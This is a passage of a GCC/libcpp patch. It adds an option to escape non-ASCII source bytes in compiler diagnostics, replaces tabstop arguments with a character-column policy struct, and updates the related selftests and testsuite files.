+- const int w_emoji = cpp_display_width ("\xf0\x9f\x98\x82", 4, def_tabstop);
++ const int w_emoji = cpp_display_width ("\xf0\x9f\x98\x82", 4, policy);
+ ASSERT_EQ (2, w_emoji);
+ const int w_umlaut_precomposed = cpp_display_width ("\xc3\xbf", 2,
+- def_tabstop);
++ policy);
+ ASSERT_EQ (1, w_umlaut_precomposed);
+ const int w_umlaut_combining = cpp_display_width ("y\xcc\x88", 3,
+- def_tabstop);
++ policy);
+ ASSERT_EQ (1, w_umlaut_combining);
+- const int w_han = cpp_display_width ("\xe4\xb8\xba", 3, def_tabstop);
++ const int w_han = cpp_display_width ("\xe4\xb8\xba", 3, policy);
+ ASSERT_EQ (2, w_han);
+- const int w_ascii = cpp_display_width ("GCC", 3, def_tabstop);
++ const int w_ascii = cpp_display_width ("GCC", 3, policy);
+ ASSERT_EQ (3, w_ascii);
+ const int w_mixed = cpp_display_width ("\xcf\x80 = 3.14 \xf0\x9f\x98\x82"
+ "\x9f! \xe4\xb8\xba y\xcc\x88",
+- 24, def_tabstop);
++ 24, policy);
+ ASSERT_EQ (18, w_mixed);
+ }
+
+ /* Verify that display width properly expands tabs. */
+ {
+ const char *tstr = "\tabc\td";
+- ASSERT_EQ (6, cpp_display_width (tstr, 6, 1));
+- ASSERT_EQ (10, cpp_display_width (tstr, 6, 3));
+- ASSERT_EQ (17, cpp_display_width (tstr, 6, 8));
+- ASSERT_EQ (1, cpp_display_column_to_byte_column (tstr, 6, 7, 8));
++ ASSERT_EQ (6, cpp_display_width (tstr, 6,
++ cpp_char_column_policy (1, cpp_wcwidth)));
++ ASSERT_EQ (10, cpp_display_width (tstr, 6,
++ cpp_char_column_policy (3, cpp_wcwidth)));
++ ASSERT_EQ (17, cpp_display_width (tstr, 6,
++ cpp_char_column_policy (8, cpp_wcwidth)));
++ ASSERT_EQ (1,
++ cpp_display_column_to_byte_column
++ (tstr, 6, 7, cpp_char_column_policy (8, cpp_wcwidth)));
+ }
+
+ /* Verify that cpp_byte_column_to_display_column can go past the end,
+@@ -3660,13 +3668,13 @@ void test_cpp_utf8 ()
+ /* 111122223456
+ Byte columns. */
+
+- ASSERT_EQ (5, cpp_display_width (str, 6, def_tabstop));
++ ASSERT_EQ (5, cpp_display_width (str, 6, policy));
+ ASSERT_EQ (105,
+- cpp_byte_column_to_display_column (str, 6, 106, def_tabstop));
++ cpp_byte_column_to_display_column (str, 6, 106, policy));
+ ASSERT_EQ (10000,
+- cpp_byte_column_to_display_column (NULL, 0, 10000, def_tabstop));
++ cpp_byte_column_to_display_column (NULL, 0, 10000, policy));
+ ASSERT_EQ (0,
+- cpp_byte_column_to_display_column (NULL, 10000, 0, def_tabstop));
++ cpp_byte_column_to_display_column (NULL, 10000, 0, policy));
+ }
+
+ /* Verify that cpp_display_column_to_byte_column can go past the end,
+@@ -3680,25 +3688,25 @@ void test_cpp_utf8 ()
+ /* 000000000000000000000000000000000111111
+ 111122223333444456666777788889999012345
+ Byte columns. */
+- ASSERT_EQ (4, cpp_display_column_to_byte_column (str, 15, 2, def_tabstop));
++ ASSERT_EQ (4, cpp_display_column_to_byte_column (str, 15, 2, policy));
+ ASSERT_EQ (15,
+- cpp_display_column_to_byte_column (str, 15, 11, def_tabstop));
++ cpp_display_column_to_byte_column (str, 15, 11, policy));
+ ASSERT_EQ (115,
+- cpp_display_column_to_byte_column (str, 15, 111, def_tabstop));
++ cpp_display_column_to_byte_column (str, 15, 111, policy));
+ ASSERT_EQ (10000,
+- cpp_display_column_to_byte_column (NULL, 0, 10000, def_tabstop));
++ cpp_display_column_to_byte_column (NULL, 0, 10000, policy));
+ ASSERT_EQ (0,
+- cpp_display_column_to_byte_column (NULL, 10000, 0, def_tabstop));
++ cpp_display_column_to_byte_column (NULL, 10000, 0, policy));
+
+ /* Verify that we do not interrupt a UTF-8 sequence. */
+- ASSERT_EQ (4, cpp_display_column_to_byte_column (str, 15, 1, def_tabstop));
++ ASSERT_EQ (4, cpp_display_column_to_byte_column (str, 15, 1, policy));
+
+ for (int byte_col = 1; byte_col <= 15; ++byte_col)
+ {
+ const int disp_col
+- = cpp_byte_column_to_display_column (str, 15, byte_col, def_tabstop);
++ = cpp_byte_column_to_display_column (str, 15, byte_col, policy);
+ const int byte_col2
+- = cpp_display_column_to_byte_column (str, 15, disp_col, def_tabstop);
++ = cpp_display_column_to_byte_column (str, 15, disp_col, policy);
+
+ /* If we ask for the display column in the middle of a UTF-8
+ sequence, it will return the length of the partial sequence,
+diff --git a/gcc/input.h b/gcc/input.h
+--- a/gcc/input.h 2021-07-27 23:55:07.328287915 -0700
++++ b/gcc/input.h 2021-12-14 01:16:01.553943061 -0800
+@@ -39,8 +39,11 @@ STATIC_ASSERT (BUILTINS_LOCATION < RESER
+ extern bool is_location_from_builtin_token (location_t);
+ extern expanded_location expand_location (location_t);
+
+-extern int location_compute_display_column (expanded_location exploc,
+- int tabstop);
++class cpp_char_column_policy;
++
++extern int
++location_compute_display_column (expanded_location exploc,
++ const cpp_char_column_policy &policy);
+
+ /* A class capturing the bounds of a buffer, to allow for run-time
+ bounds-checking in a checked build. */
+diff --git a/gcc/opts.c b/gcc/opts.c
+--- a/gcc/opts.c 2021-07-27 23:55:07.364288417 -0700
++++ b/gcc/opts.c 2021-12-14 01:16:01.553943061 -0800
+@@ -2573,6 +2573,10 @@ common_handle_option (struct gcc_options
+ dc->column_origin = value;
+ break;
+
++ case OPT_fdiagnostics_escape_format_:
++ dc->escape_format = (enum diagnostics_escape_format)value;
++ break;
++
+ case OPT_fdiagnostics_show_cwe:
+ dc->show_cwe = value;
+ break;
+diff --git a/gcc/selftest.c b/gcc/selftest.c
+--- a/gcc/selftest.c 2021-07-27 23:55:07.500290315 -0700
++++ b/gcc/selftest.c 2021-12-14 01:16:01.557942991 -0800
+@@ -193,6 +193,21 @@ temp_source_file::temp_source_file (cons
+ fclose (out);
+ }
+
++/* As above, but with a size, to allow for NUL bytes in CONTENT. */
++
++temp_source_file::temp_source_file (const location &loc,
++ const char *suffix,
++ const char *content,
++ size_t sz)
++: named_temp_file (suffix)
++{
++ FILE *out = fopen (get_filename (), "w");
++ if (!out)
++ fail_formatted (loc, "unable to open tempfile: %s", get_filename ());
++ fwrite (content, sz, 1, out);
++ fclose (out);
++}
++
+ /* Avoid introducing locale-specific differences in the results
+ by hardcoding open_quote and close_quote. */
+
+diff --git a/gcc/selftest.h b/gcc/selftest.h
+--- a/gcc/selftest.h 2021-07-27 23:55:07.500290315 -0700
++++ b/gcc/selftest.h 2021-12-14 01:16:01.557942991 -0800
+@@ -112,6 +112,8 @@ class temp_source_file : public named_te
+ public:
+ temp_source_file (const location &loc, const char *suffix,
+ const char *content);
++ temp_source_file (const location &loc, const char *suffix,
++ const char *content, size_t sz);
+ };
+
+ /* RAII-style class for avoiding introducing locale-specific differences
+diff --git a/gcc/testsuite/c-c++-common/diagnostic-format-json-1.c b/gcc/testsuite/c-c++-common/diagnostic-format-json-1.c
+--- a/gcc/testsuite/c-c++-common/diagnostic-format-json-1.c 2021-07-27 23:55:07.596291654 -0700
++++ b/gcc/testsuite/c-c++-common/diagnostic-format-json-1.c 2021-12-14 01:16:01.557942991 -0800
+@@ -9,6 +9,7 @@
+
+ /* { dg-regexp "\"kind\": \"error\"" } */
+ /* { dg-regexp "\"column-origin\": 1" } */
++/* { dg-regexp "\"escape-source\": false" } */
+ /* { dg-regexp "\"message\": \"#error message\"" } */
+
+ /* { dg-regexp "\"caret\": \{" } */
+diff --git a/gcc/testsuite/c-c++-common/diagnostic-format-json-2.c b/gcc/testsuite/c-c++-common/diagnostic-format-json-2.c
+--- a/gcc/testsuite/c-c++-common/diagnostic-format-json-2.c 2021-07-27 23:55:07.596291654 -0700
++++ b/gcc/testsuite/c-c++-common/diagnostic-format-json-2.c 2021-12-14 01:16:01.557942991 -0800
+@@ -9,6 +9,7 @@
+
+ /* { dg-regexp "\"kind\": \"warning\"" } */
+ /* { dg-regexp "\"column-origin\": 1" } */
++/* { dg-regexp "\"escape-source\": false" } */
+ /* { dg-regexp "\"message\": \"#warning message\"" } */
+ /* { dg-regexp "\"option\": \"-Wcpp\"" } */
+ /* { dg-regexp "\"option_url\": \"https:\[^\n\r\"\]*#index-Wcpp\"" } */
+diff --git a/gcc/testsuite/c-c++-common/diagnostic-format-json-3.c b/gcc/testsuite/c-c++-common/diagnostic-format-json-3.c
+--- a/gcc/testsuite/c-c++-common/diagnostic-format-json-3.c 2021-07-27 23:55:07.596291654 -0700
++++ b/gcc/testsuite/c-c++-common/diagnostic-format-json-3.c 2021-12-14 01:16:01.557942991 -0800
+@@ -9,6 +9,7 @@
+
+ /* { dg-regexp "\"kind\": \"error\"" } */
+ /* { dg-regexp "\"column-origin\": 1" } */
++/* { dg-regexp "\"escape-source\": false" } */
+ /* { dg-regexp "\"message\": \"#warning message\"" } */
+ /* { dg-regexp "\"option\": \"-Werror=cpp\"" } */
+ /* { dg-regexp "\"option_url\": \"https:\[^\n\r\"\]*#index-Wcpp\"" } */
+diff --git a/gcc/testsuite/c-c++-common/diagnostic-format-json-4.c b/gcc/testsuite/c-c++-common/diagnostic-format-json-4.c
+--- a/gcc/testsuite/c-c++-common/diagnostic-format-json-4.c 2021-07-27 23:55:07.596291654 -0700
++++ b/gcc/testsuite/c-c++-common/diagnostic-format-json-4.c 2021-12-14 01:16:01.557942991 -0800
+@@ -19,6 +19,7 @@ int test (void)
+
+ /* { dg-regexp "\"kind\": \"note\"" } */
+ /* { dg-regexp "\"message\": \"...this statement, but the latter is misleadingly indented as if it were guarded by the 'if'\"" } */
++/* { dg-regexp "\"escape-source\": false" } */
+
+ /* { dg-regexp "\"caret\": \{" } */
+ /* { dg-regexp "\"file\": \"\[^\n\r\"\]*diagnostic-format-json-4.c\"" } */
+@@ -39,6 +40,7 @@ int test (void)
+ /* { dg-regexp "\"kind\": \"warning\"" } */
+ /* { dg-regexp "\"column-origin\": 1" } */
+ /* { dg-regexp "\"message\": \"this 'if' clause does not guard...\"" } */
++/* { dg-regexp "\"escape-source\": false" } */
+ /* { dg-regexp "\"option\": \"-Wmisleading-indentation\"" } */
+ /* { dg-regexp "\"option_url\": \"https:\[^\n\r\"\]*#index-Wmisleading-indentation\"" } */
+
+diff --git a/gcc/testsuite/c-c++-common/diagnostic-format-json-5.c b/gcc/testsuite/c-c++-common/diagnostic-format-json-5.c
+--- a/gcc/testsuite/c-c++-common/diagnostic-format-json-5.c 2021-07-27 23:55:07.596291654 -0700
++++ b/gcc/testsuite/c-c++-common/diagnostic-format-json-5.c 2021-12-14 01:16:01.557942991 -0800
+@@ -14,6 +14,7 @@ int test (struct s *ptr)
+
+ /* { dg-regexp "\"kind\": \"error\"" } */
+ /* { dg-regexp "\"column-origin\": 1" } */
++/* { dg-regexp "\"escape-source\": false" } */
+ /* { dg-regexp "\"message\": \".*\"" } */
+
+ /* Verify fix-it hints. */
+diff --git a/gcc/testsuite/gcc.dg/cpp/warn-normalized-4-bytes.c b/gcc/testsuite/gcc.dg/cpp/warn-normalized-4-bytes.c
+--- a/gcc/testsuite/gcc.dg/cpp/warn-normalized-4-bytes.c 1969-12-31 16:00:00.000000000 -0800
++++ b/gcc/testsuite/gcc.dg/cpp/warn-normalized-4-bytes.c 2021-12-14 01:16:01.557942991 -0800
+@@ -0,0 +1,21 @@
++// { dg-do preprocess }
++// { dg-options "-std=gnu99 -Werror=normalized=nfc -fdiagnostics-show-caret -fdiagnostics-escape-format=bytes" }
++/* { dg-message "some warnings being treated as errors" "" {target "*-*-*"} 0 } */
++
++/* འ= U+0F43 TIBETAN LETTER GHA, which has decomposition "0F42 0FB7" i.e.
++ U+0F42 TIBETAN LETTER GA: à½
++ U+0FB7 TIBETAN SUBJOINED LETTER HA: ྷ
++
++ The UTF-8 encoding of U+0F43 TIBETAN LETTER GHA is: E0 BD 83. */
++
++foo before_\u0F43_after bar // { dg-error "`before_.U00000f43_after' is not in NFC .-Werror=normalized=." }
++/* { dg-begin-multiline-output "" }
++ foo before_\u0F43_after bar
++ ^~~~~~~~~~~~~~~~~~~
++ { dg-end-multiline-output "" } */
++
++foo before_à½_after bar // { dg-error "`before_.U00000f43_after' is not in NFC .-Werror=normalized=." }
++/* { dg-begin-multiline-output "" }
++ foo before_<e0><bd><83>_after bar
++ ^~~~~~~~~~~~~~~~~~~~~~~~~
++ { dg-end-multiline-output "" } */
+diff --git a/gcc/testsuite/gcc.dg/cpp/warn-normalized-4-unicode.c b/gcc/testsuite/gcc.dg/cpp/warn-normalized-4-unicode.c
+--- a/gcc/testsuite/gcc.dg/cpp/warn-normalized-4-unicode.c 1969-12-31 16:00:00.000000000 -0800
++++ b/gcc/testsuite/gcc.dg/cpp/warn-normalized-4-unicode.c 2021-12-14 01:16:01.557942991 -0800
+@@ -0,0 +1,19 @@
++// { dg-do preprocess }
++// { dg-options "-std=gnu99 -Werror=normalized=nfc -fdiagnostics-show-caret -fdiagnostics-escape-format=unicode" }
++/* { dg-message "some warnings being treated as errors" "" {target "*-*-*"} 0 } */
++
++/* འ= U+0F43 TIBETAN LETTER GHA, which has decomposition "0F42 0FB7" i.e.
++ U+0F42 TIBETAN LETTER GA: à½
++ U+0FB7 TIBETAN SUBJOINED LETTER HA: ྷ */
++
++foo before_\u0F43_after bar // { dg-error "`before_.U00000f43_after' is not in NFC .-Werror=normalized=." }
++/* { dg-begin-multiline-output "" }
++ foo before_\u0F43_after bar
++ ^~~~~~~~~~~~~~~~~~~
++ { dg-end-multiline-output "" } */
++
++foo before_à½_after bar // { dg-error "`before_.U00000f43_after' is not in NFC .-Werror=normalized=." }
++/* { dg-begin-multiline-output "" }
++ foo before_<U+0F43>_after bar
++ ^~~~~~~~~~~~~~~~~~~~~
++ { dg-end-multiline-output "" } */
+diff --git a/gcc/testsuite/gfortran.dg/diagnostic-format-json-1.F90 b/gcc/testsuite/gfortran.dg/diagnostic-format-json-1.F90
+--- a/gcc/testsuite/gfortran.dg/diagnostic-format-json-1.F90 2021-07-27 23:55:08.472303878 -0700
++++ b/gcc/testsuite/gfortran.dg/diagnostic-format-json-1.F90 2021-12-14 01:16:01.557942991 -0800
+@@ -9,6 +9,7 @@
+
+ ! { dg-regexp "\"kind\": \"error\"" }
+ ! { dg-regexp "\"column-origin\": 1" }
++! { dg-regexp "\"escape-source\": false" }
+ ! { dg-regexp "\"message\": \"#error message\"" }
+
+ ! { dg-regexp "\"caret\": \{" }
+diff --git a/gcc/testsuite/gfortran.dg/diagnostic-format-json-2.F90 b/gcc/testsuite/gfortran.dg/diagnostic-format-json-2.F90
+--- a/gcc/testsuite/gfortran.dg/diagnostic-format-json-2.F90 2021-07-27 23:55:08.472303878 -0700
++++ b/gcc/testsuite/gfortran.dg/diagnostic-format-json-2.F90 2021-12-14 01:16:01.557942991 -0800
+@@ -9,6 +9,7 @@
+
+ ! { dg-regexp "\"kind\": \"warning\"" }
+ ! { dg-regexp "\"column-origin\": 1" }
++! { dg-regexp "\"escape-source\": false" }
+ ! { dg-regexp "\"message\": \"#warning message\"" }
+ ! { dg-regexp "\"option\": \"-Wcpp\"" }
+ ! { dg-regexp "\"option_url\": \"\[^\n\r\"\]*#index-Wcpp\"" }
+diff --git a/gcc/testsuite/gfortran.dg/diagnostic-format-json-3.F90 b/gcc/testsuite/gfortran.dg/diagnostic-format-json-3.F90
+--- a/gcc/testsuite/gfortran.dg/diagnostic-format-json-3.F90 2021-07-27 23:55:08.472303878 -0700
++++ b/gcc/testsuite/gfortran.dg/diagnostic-format-json-3.F90 2021-12-14 01:16:01.557942991 -0800
+@@ -9,6 +9,7 @@
+
+ ! { dg-regexp "\"kind\": \"error\"" }
+ ! { dg-regexp "\"column-origin\": 1" }
++! { dg-regexp "\"escape-source\": false" }
+ ! { dg-regexp "\"message\": \"#warning message\"" }
+ ! { dg-regexp "\"option\": \"-Werror=cpp\"" }
+ ! { dg-regexp "\"option_url\": \"\[^\n\r\"\]*#index-Wcpp\"" }
+diff --git a/libcpp/charset.c b/libcpp/charset.c
+--- a/libcpp/charset.c 2021-07-27 23:55:08.712307227 -0700
++++ b/libcpp/charset.c 2021-12-14 01:16:01.557942991 -0800
+@@ -1552,12 +1552,14 @@ convert_escape (cpp_reader *pfile, const
+ "unknown escape sequence: '\\%c'", (int) c);
+ else
+ {
++ encoding_rich_location rich_loc (pfile);
++
+ /* diagnostic.c does not support "%03o". When it does, this
+ code can use %03o directly in the diagnostic again. */
+ char buf[32];
+ sprintf(buf, "%03o", (int) c);
+- cpp_error (pfile, CPP_DL_PEDWARN,
+- "unknown escape sequence: '\\%s'", buf);
++ cpp_error_at (pfile, CPP_DL_PEDWARN, &rich_loc,
++ "unknown escape sequence: '\\%s'", buf);
+ }
+ }
+
+@@ -2280,14 +2282,16 @@ cpp_string_location_reader::get_next ()
+ }
+
+ cpp_display_width_computation::
+-cpp_display_width_computation (const char *data, int data_length, int tabstop) :
++cpp_display_width_computation (const char *data, int data_length,
++ const cpp_char_column_policy &policy) :
+ m_begin (data),
+ m_next (m_begin),
+ m_bytes_left (data_length),
+- m_tabstop (tabstop),
++ m_policy (policy),
+ m_display_cols (0)
+ {
+- gcc_assert (m_tabstop > 0);
++ gcc_assert (policy.m_tabstop > 0);
++ gcc_assert (policy.m_width_cb);
+ }
+
+
+@@ -2299,19 +2303,28 @@ cpp_display_width_computation (const cha
+ point to a valid UTF-8-encoded sequence, then it will be treated as a single
+ byte with display width 1. m_cur_display_col is the current display column,
+ relative to which tab stops should be expanded. Returns the display width of
+- the codepoint just processed. */
++ the codepoint just processed.
++ If OUT is non-NULL, it is populated. */
+
+ int
+-cpp_display_width_computation::process_next_codepoint ()
++cpp_display_width_computation::process_next_codepoint (cpp_decoded_char *out)
+ {
+ cppchar_t c;
+ int next_width;
+
++ if (out)
++ out->m_start_byte = m_next;
++
+ if (*m_next == '\t')
+ {
+ ++m_next;
+ --m_bytes_left;
+- next_width = m_tabstop - (m_display_cols % m_tabstop);
++ next_width = m_policy.m_tabstop - (m_display_cols % m_policy.m_tabstop);
++ if (out)
++ {
++ out->m_ch = '\t';
++ out->m_valid_ch = true;
++ }
+ }
+ else if (one_utf8_to_cppchar ((const uchar **) &m_next, &m_bytes_left, &c)
+ != 0)
+@@ -2321,14 +2334,24 @@ cpp_display_width_computation::process_n
+ of one. */
+ ++m_next;
+ --m_bytes_left;
+- next_width = 1;
++ next_width = m_policy.m_undecoded_byte_width;
++ if (out)
++ out->m_valid_ch = false;
+ }
+ else
+ {
+ /* one_utf8_to_cppchar() has updated m_next and m_bytes_left for us. */
+- next_width = cpp_wcwidth (c);
++ next_width = m_policy.m_width_cb (c);
++ if (out)
++ {
++ out->m_ch = c;
++ out->m_valid_ch = true;
++ }
+ }
+
++ if (out)
++ out->m_next_byte = m_next;
++
+ m_display_cols += next_width;
+ return next_width;
+ }
+@@ -2344,7 +2367,7 @@ cpp_display_width_computation::advance_d
+ const int start = m_display_cols;
+ const int target = start + n;
+ while (m_display_cols < target && !done ())
+- process_next_codepoint ();
++ process_next_codepoint (NULL);
+ return m_display_cols - start;
+ }
+
+@@ -2352,29 +2375,33 @@ cpp_display_width_computation::advance_d
+ how many display columns are occupied by the first COLUMN bytes. COLUMN
+ may exceed DATA_LENGTH, in which case the phantom bytes at the end are
+ treated as if they have display width 1. Tabs are expanded to the next tab
+- stop, relative to the start of DATA. */
++ stop, relative to the start of DATA, and non-printable-ASCII characters
++ will be escaped as per POLICY. */
+
+ int
+ cpp_byte_column_to_display_column (const char *data, int data_length,
+- int column, int tabstop)
++ int column,
++ const cpp_char_column_policy &policy)
+ {
+ const int offset = MAX (0, column - data_length);
+- cpp_display_width_computation dw (data, column - offset, tabstop);
++ cpp_display_width_computation dw (data, column - offset, policy);
+ while (!dw.done ())
+- dw.process_next_codepoint ();
++ dw.process_next_codepoint (NULL);
+ return dw.display_cols_processed () + offset;
+ }
+
+ /* For the string of length DATA_LENGTH bytes that begins at DATA, compute
+ the least number of bytes that will result in at least DISPLAY_COL display
+ columns. The return value may exceed DATA_LENGTH if the entire string does
+- not occupy enough display columns. */
++ not occupy enough display columns. Non-printable-ASCII characters
++ will be escaped as per POLICY. */
+
+ int
+ cpp_display_column_to_byte_column (const char *data, int data_length,
+- int display_col, int tabstop)
++ int display_col,
++ const cpp_char_column_policy &policy)
+ {
+- cpp_display_width_computation dw (data, data_length, tabstop);
++ cpp_display_width_computation dw (data, data_length, policy);
+ const int avail_display = dw.advance_display_cols (display_col);
+ return dw.bytes_processed () + MAX (0, display_col - avail_display);
+ }
+diff --git a/libcpp/errors.c b/libcpp/errors.c
+--- a/libcpp/errors.c 2021-07-27 23:55:08.712307227 -0700
++++ b/libcpp/errors.c 2021-12-14 01:16:01.557942991 -0800
+@@ -27,6 +27,31 @@ along with this program; see the file CO
+ #include "cpplib.h"
+ #include "internal.h"
+
++/* Get a location_t for the current location in PFILE,
++ generally that of the previously lexed token. */
++
++location_t
++cpp_diagnostic_get_current_location (cpp_reader *pfile)
++{
++ if (CPP_OPTION (pfile, traditional))
++ {
++ if (pfile->state.in_directive)
++ return pfile->directive_line;
++ else
++ return pfile->line_table->highest_line;
++ }
++ /* We don't want to refer to a token before the beginning of the
++ current run -- that is invalid. */
++ else if (pfile->cur_token == pfile->cur_run->base)
++ {
++ return 0;
++ }
++ else
++ {
++ return pfile->cur_token[-1].src_loc;
++ }
++}
++
+ /* Print a diagnostic at the given location. */
+
+ ATTRIBUTE_FPTR_PRINTF(5,0)
+@@ -52,25 +77,7 @@ cpp_diagnostic (cpp_reader * pfile, enum
+ enum cpp_warning_reason reason,
+ const char *msgid, va_list *ap)
+ {
+- location_t src_loc;
+-
+- if (CPP_OPTION (pfile, traditional))
+- {
+- if (pfile->state.in_directive)
+- src_loc = pfile->directive_line;
+- else
+- src_loc = pfile->line_table->highest_line;
+- }
+- /* We don't want to refer to a token before the beginning of the
+- current run -- that is invalid. */
+- else if (pfile->cur_token == pfile->cur_run->base)
+- {
+- src_loc = 0;
+- }
+- else
+- {
+- src_loc = pfile->cur_token[-1].src_loc;
+- }
++ location_t src_loc = cpp_diagnostic_get_current_location (pfile);
+ rich_location richloc (pfile->line_table, src_loc);
+ return cpp_diagnostic_at (pfile, level, reason, &richloc, msgid, ap);
+ }
+@@ -142,6 +149,43 @@ cpp_warning_syshdr (cpp_reader * pfile,
+
+ va_end (ap);
+ return ret;
++}
++
++/* As cpp_warning above, but use RICHLOC as the location of the diagnostic. */
++
++bool cpp_warning_at (cpp_reader *pfile, enum cpp_warning_reason reason,
++ rich_location *richloc, const char *msgid, ...)
++{
++ va_list ap;
++ bool ret;
++
++ va_start (ap, msgid);
++
++ ret = cpp_diagnostic_at (pfile, CPP_DL_WARNING, reason, richloc,
++ msgid, &ap);
++
++ va_end (ap);
++ return ret;
++
++}
++
++/* As cpp_pedwarning above, but use RICHLOC as the location of the
++ diagnostic. */
++
++bool
++cpp_pedwarning_at (cpp_reader * pfile, enum cpp_warning_reason reason,
++ rich_location *richloc, const char *msgid, ...)
++{
++ va_list ap;
++ bool ret;
++
++ va_start (ap, msgid);
++
++ ret = cpp_diagnostic_at (pfile, CPP_DL_PEDWARN, reason, richloc,
++ msgid, &ap);
++
++ va_end (ap);
++ return ret;
+ }
+
+ /* Print a diagnostic at a specific location. */
+diff --git a/libcpp/include/cpplib.h b/libcpp/include/cpplib.h
+--- a/libcpp/include/cpplib.h 2021-12-13 23:23:05.768437079 -0800
++++ b/libcpp/include/cpplib.h 2021-12-14 01:20:16.189507386 -0800
+@@ -1275,6 +1275,14 @@ extern bool cpp_warning_syshdr (cpp_read
+ const char *msgid, ...)
+ ATTRIBUTE_PRINTF_3;
+
++/* As their counterparts above, but use RICHLOC. */
++extern bool cpp_warning_at (cpp_reader *, enum cpp_warning_reason,
++ rich_location *richloc, const char *msgid, ...)
++ ATTRIBUTE_PRINTF_4;
++extern bool cpp_pedwarning_at (cpp_reader *, enum cpp_warning_reason,
++ rich_location *richloc, const char *msgid, ...)
++ ATTRIBUTE_PRINTF_4;
++
+ /* Output a diagnostic with "MSGID: " preceding the
+ error string of errno. No location is printed. */
+ extern bool cpp_errno (cpp_reader *, enum cpp_diagnostic_level,
+@@ -1435,42 +1443,95 @@ extern const char * cpp_get_userdef_suff
+
+ /* In charset.c */
+
++/* The result of attempting to decode a run of UTF-8 bytes. */
++
++struct cpp_decoded_char
++{
++ const char *m_start_byte;
++ const char *m_next_byte;
++
++ bool m_valid_ch;
++ cppchar_t m_ch;
++};
++
++/* Information for mapping between code points and display columns.
++
++ This is a tabstop value, along with a callback for getting the
++ widths of characters. Normally this callback is cpp_wcwidth, but we
++ support other schemes for escaping non-ASCII unicode as a series of
++ ASCII chars when printing the user's source code in diagnostic-show-locus.c
++
++ For example, consider:
++ - the Unicode character U+03C0 "GREEK SMALL LETTER PI" (UTF-8: 0xCF 0x80)
++ - the Unicode character U+1F642 "SLIGHTLY SMILING FACE"
++ (UTF-8: 0xF0 0x9F 0x99 0x82)
++ - the byte 0xBF (a stray trailing byte of a UTF-8 character)
++ Normally U+03C0 would occupy one display column, U+1F642
++ would occupy two display columns, and the stray byte would be
++ printed verbatim as one display column.
++
++ However when escaping them as unicode code points as "<U+03C0>"
++ and "<U+1F642>" they occupy 8 and 9 display columns respectively,
++ and when escaping them as bytes as "<CF><80>" and "<F0><9F><99><82>"
++ they occupy 8 and 16 display columns respectively. In both cases
++ the stray byte is escaped to <BF> as 4 display columns. */
++
++struct cpp_char_column_policy
++{
++ cpp_char_column_policy (int tabstop,
++ int (*width_cb) (cppchar_t c))
++ : m_tabstop (tabstop),
++ m_undecoded_byte_width (1),
++ m_width_cb (width_cb)
++ {}
++
++ int m_tabstop;
++ /* Width in display columns of a stray byte that isn't decodable
++ as UTF-8. */
++ int m_undecoded_byte_width;
++ int (*m_width_cb) (cppchar_t c);
++};
++
+ /* A class to manage the state while converting a UTF-8 sequence to cppchar_t
+ and computing the display width one character at a time. */
+ class cpp_display_width_computation {
+ public:
+ cpp_display_width_computation (const char *data, int data_length,
+- int tabstop);
++ const cpp_char_column_policy &policy);
+ const char *next_byte () const { return m_next; }
+ int bytes_processed () const { return m_next - m_begin; }
+ int bytes_left () const { return m_bytes_left; }
+ bool done () const { return !bytes_left (); }
+ int display_cols_processed () const { return m_display_cols; }
+
+- int process_next_codepoint ();
++ int process_next_codepoint (cpp_decoded_char *out);
+ int advance_display_cols (int n);
+
+ private:
+ const char *const m_begin;
+ const char *m_next;
+ size_t m_bytes_left;
+- const int m_tabstop;
++ const cpp_char_column_policy &m_policy;
+ int m_display_cols;
+ };
+
+ /* Convenience functions that are simple use cases for class
+ cpp_display_width_computation. Tab characters will be expanded to spaces
+- as determined by TABSTOP. */
++ as determined by POLICY.m_tabstop, and non-printable-ASCII characters
++ will be escaped as per POLICY. */
++
+ int cpp_byte_column_to_display_column (const char *data, int data_length,
+- int column, int tabstop);
++ int column,
++ const cpp_char_column_policy &policy);
+ inline int cpp_display_width (const char *data, int data_length,
+- int tabstop)
++ const cpp_char_column_policy &policy)
+ {
+ return cpp_byte_column_to_display_column (data, data_length, data_length,
+- tabstop);
++ policy);
+ }
+ int cpp_display_column_to_byte_column (const char *data, int data_length,
+- int display_col, int tabstop);
++ int display_col,
++ const cpp_char_column_policy &policy);
+ int cpp_wcwidth (cppchar_t c);
+
+ #endif /* ! LIBCPP_CPPLIB_H */
+diff --git a/libcpp/include/line-map.h b/libcpp/include/line-map.h
+--- a/libcpp/include/line-map.h 2021-07-27 23:55:08.716307283 -0700
++++ b/libcpp/include/line-map.h 2021-12-14 01:16:01.557942991 -0800
+@@ -1781,6 +1781,18 @@ class rich_location
+ const diagnostic_path *get_path () const { return m_path; }
+ void set_path (const diagnostic_path *path) { m_path = path; }
+
++ /* A flag for hinting that the diagnostic involves character encoding
++ issues, and thus that it will be helpful to the user if we show some
++ representation of how the characters in the pertinent source lines
++ are encoded.
++ The default is false (i.e. do not escape).
++ When set to true, non-ASCII bytes in the pertinent source lines will
++ be escaped in a manner controlled by the user-supplied option
++ -fdiagnostics-escape-format=, so that the user can better understand
++ what's going on with the encoding in their source file. */
++ bool escape_on_output_p () const { return m_escape_on_output; }
++ void set_escape_on_output (bool flag) { m_escape_on_output = flag; }
++
+ private:
+ bool reject_impossible_fixit (location_t where);
+ void stop_supporting_fixits ();
+@@ -1807,6 +1819,7 @@ protected:
+ bool m_fixits_cannot_be_auto_applied;
+
+ const diagnostic_path *m_path;
++ bool m_escape_on_output;
+ };
+
+ /* A struct for the result of range_label::get_text: a NUL-terminated buffer
+diff --git a/libcpp/internal.h b/libcpp/internal.h
+--- a/libcpp/internal.h 2021-12-13 23:23:05.768437079 -0800
++++ b/libcpp/internal.h 2021-12-14 01:16:01.557942991 -0800
+@@ -776,6 +776,9 @@ extern void _cpp_do_file_change (cpp_rea
+ extern void _cpp_pop_buffer (cpp_reader *);
+ extern char *_cpp_bracket_include (cpp_reader *);
+
++/* In errors.c */
++extern location_t cpp_diagnostic_get_current_location (cpp_reader *);
++
+ /* In traditional.c. */
+ extern bool _cpp_scan_out_logical_line (cpp_reader *, cpp_macro *, bool);
+ extern bool _cpp_read_logical_line_trad (cpp_reader *);
+@@ -942,6 +945,26 @@ int linemap_get_expansion_line (class li
+ const char* linemap_get_expansion_filename (class line_maps *,
+ location_t);
+
++/* A subclass of rich_location for emitting a diagnostic
++ at the current location of the reader, but flagging
++ it with set_escape_on_output (true). */
++class encoding_rich_location : public rich_location
++{
++ public:
++ encoding_rich_location (cpp_reader *pfile)
++ : rich_location (pfile->line_table,
++ cpp_diagnostic_get_current_location (pfile))
++ {
++ set_escape_on_output (true);
++ }
++
++ encoding_rich_location (cpp_reader *pfile, location_t loc)
